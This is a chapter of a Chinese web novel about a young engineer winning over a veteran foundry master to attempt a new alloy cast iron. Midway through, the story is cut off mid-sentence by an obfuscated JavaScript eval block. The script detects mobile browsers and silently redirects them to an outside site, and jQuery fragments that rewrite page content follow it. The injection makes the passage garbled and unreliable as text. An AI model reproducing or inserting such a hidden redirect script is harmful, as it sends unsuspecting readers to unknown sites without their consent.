第170章 烈火中的信条
作品:《被儿女冻死后,窝囊老爹重生了》 三百,只是起点。
这五个字,轻飘飘地从路承舟的口中吐出,却像五块烧红的烙铁,狠狠地砸进了孙长海的心里。
车间里的轰鸣与热浪仿佛在这一刻被无形的力量隔绝开来。
孙长海那双因为常年被炉火熏烤而显得浑浊的眼睛,此刻却骤然爆发出惊人的光亮。
他死死地盯着路承舟,那眼神不再是审视,也不再是疏离,而是一种混杂着极度渴望与深深怀疑的复杂情绪,仿佛一个在沙漠中跋涉了半生的旅人,突然看见了海市蜃楼。
他这一辈子,都在和铁水打交道。
他懂得铁的脾气,懂得火的性格。
他能通过观察铁水流动的姿态,判断出其中碳含量的细微差别;他能通过倾听铸件冷却的声音,预知其内部是否会产生裂纹。
他就是这座铸造车间的王,他的经验,就是这里不容置疑的律法。
然而,经验终究有其边界。
他能将灰口铸铁HT250的性能压榨到极致,却无法突破材料本身的天花板。
二百五十兆帕的抗拉强度,就是他穷尽半生心血也无法逾越的天堑。
而眼前这个年轻人,这个嘴上没**、手上没茧的“路工”,却轻而易举地告诉他,那道天堑,不过是一个小小的土坡。
“不可能。”
孙长海的声音沙哑得如同两块锈铁在摩擦,他几乎是下意识地否定,这既是对路承舟的质疑,也是对他自己半生信条的顽固坚守。
“纸上画出来的东西,永远是虚的。”
他向前踏出一步,脚下的土地因常年被铁水炙烤而变得坚硬滚烫,他却浑然不觉,“你说加钼,加钒,加那个什么……稀土。好,我问你,炉温怎么控制?这几样东西熔点各不相同,你怎么保证它们能在铁水里均匀化开,而不是结成一团疙瘩,变成一炉废渣?”
他的质问铿锵有力,每一个字都来自于实践的千锤百炼,带着火焰的温度和钢铁的重量。
周围那些原本在埋头干活的工人们,也渐渐围了过来,他们敬畏地看着自己的师傅,又用怀疑的目光打量着路承舟这个外来者。
在他们眼中,孙长海就是神。
而路承舟,不过是一个试图用几张图纸来挑战神权威的狂妄之徒。
面对这股由经验和集体意志汇聚而成的巨大压力,路承舟的脸上却没有丝毫动摇。
他非但没有退缩,反而迎着孙长海那灼人的目光,再次向前一步。
“孙师傅问得好。”
他的声音平静而清晰,穿透了鼎沸的噪音,“这正是我今天要来请教您的地方。”
这一句话,让孙长海和周围的工人都愣住了。
路承舟没有选择正面硬撼,而是以一种出乎所有人意料的谦逊姿态,将皮球踢了回来。
“理论上,解决熔点差异的最佳方案是采用电弧炉,它可以提供更精准、更稳定的高温环境。但我们没有。”
路承舟坦然承认现实的困境,这比任何虚假的承诺都更能获取匠人们的初步信任,“我们只有这座老旧的冲天炉。它的炉温极限,我知道,很难稳定超过一千五百度。”
他顿了顿,目光扫过那座正在喷吐着火舌的巨大炉体,眼神里充满了理性的分析。
“所以,传统的熔炼方法行不通。我的方案是,二次孕育。”
“二次孕育?”
孙长海的眉头拧成了一个疙瘩,这个词他听说过,但那只是书本上的概念,厂里从未有人尝试过。
“没错。”
路承舟的思路清晰得可怕,“我们先在冲天炉中完成基础铁水的熔炼,在出铁时,瞬时加入钼铁和钒铁合金。利用铁水奔流的巨大动能和高温,完成初步的冲击溶解。然后,在将铁水从大铁包转入浇包的这个过程中,进行第二次孕育处理,加入硅铁孕育剂和稀土硅镁合金。”
他伸出两根手指,比划着一个倾倒的动作,仿佛那滚烫的铁水正在他的指尖流淌。
“这个过程,就像炒菜。不能把所有调料一股脑全扔进锅里,而是要在不同的火候,加入不同的佐料。盐要出锅前再放,才能最大限度地提鲜。我们的稀土,就是这最后的一撮盐。它不需要被熔化,只需要在铁水凝固前的瞬间,均匀地撒进去,就能起到改变石墨形态的奇效。”
这个比喻通俗易懂,却又精准地道出了工艺的核心。
周围的工人们听得云里雾里,但孙长海的眼神却彻底变了。
他眼中的怀疑正在迅速褪去,取而代之的是一种棋逢对手的兴奋与光芒。
这个年轻人,懂行!
他不是在纸上谈兵,他是真的理解了熔炼的本质!
“好……说得好!”
孙长海干裂的嘴唇动了动,吐出了三个字,声音里带着一丝不易察觉的颤抖,“就算你的法子可行,可还有一个最大的难题。你怎么知道炉子里的温度到底是多少?你怎么知道你加进去的那些东西,分量对不对?差之一毫,谬以千里!最后出来的,可能连块像样的生铁都算不上!”
这才是真正的死穴。
没有精密的测温设备,没有精准的成分分析,一切都只是凭感觉、凭经验的豪赌。
“我有人。”
路承舟的回答,永远是那么的直接,那么的自信。
他转过头,看向车间门口。
就在这时,一个穿着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417041|183469||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
白大褂、戴着厚厚眼镜的中年男人,正抱着一个长条形的木箱,气喘吁吁地跑了过来。
他是化验室的主任,王德发安插的另一个亲信,但在周怀安昨夜打过一个电话之后,他便成了路承舟手中一枚新的棋子。
“路工,您要的东西,我拿来了!”
男人将木箱小心翼翼地放在工作台上,打开了它。
箱子里面,铺着厚厚的棉布,静静地躺着一支造型奇特的“探枪”。
那是一支光学高温计。
是当年从苏联专家手里留下来的、整个厂唯一一台能够精准测量两千摄氏度以内高温的精密仪器。
因为王德发觉得这东西没什么用,它已经在仓库里吃了十几年的灰。
路承舟拿起那支冰冷的高温计,递到了孙长海的面前。
“孙师傅,这是眼睛。”
然后,他又从口袋里掏出了一张纸,上面用钢笔清晰地列出了一系列配比数据,每一个数字都精确到了小数点后两位。
“这是尺子。”
他看着孙长海,目光灼灼,一字一句地说道。
“现在,我们有了眼睛,也有了尺子。您那双浸淫了半辈子火焰的手,和您那颗比任何人都懂铁的心,就是我们最后的保障。孙师傅,您敢不敢……跟我一起,赌上这一炉?”
空气,在这一刻仿佛凝固了。
所有的喧嚣都已远去,整个车间,只剩下冲天炉那如同巨兽心跳般的沉重呼吸声。
孙长海死死地盯着路承舟手中的高温计和那张写满数据的纸条,他的手,那双能轻易降服火龙的手,此刻竟控制不住地微微颤抖起来。
他想起了自己那个在粮食局捧上铁饭碗的儿子,想起了王德发对他的“恩情”。
可那些世俗的牵绊,在这一刻,却被一种更原始、更炽热的情感,烧灼得无影无踪。
那是一个顶尖匠人,对毕生技艺极限的渴望;那是一个铸剑师,对传说中神兵利刃的终极追求。
他缓缓地,伸出了那只布满老茧和伤疤的手,没有去接那张配方,而是接过了那支冰冷的光学高温计。
他将仪器举到眼前,透过目镜,望向了那熊熊燃烧的炉火。
许久,他放下了仪器,转过身,用一种前所未有的、庄重的语气,对身后所有弟子说道:“清空一号炉,把最好的焦炭全都给我拉过来!”
他没有回答路承舟敢不敢,但他用行动,给出了最响亮的答案。
“今天,要么我这块老骨头跟着这炉子一起报废,”
他回过头,苍老的脸上,绽放出一个近乎疯狂的笑容,“要么,就让全厂的人都看看,什么**才叫真正的铸铁!”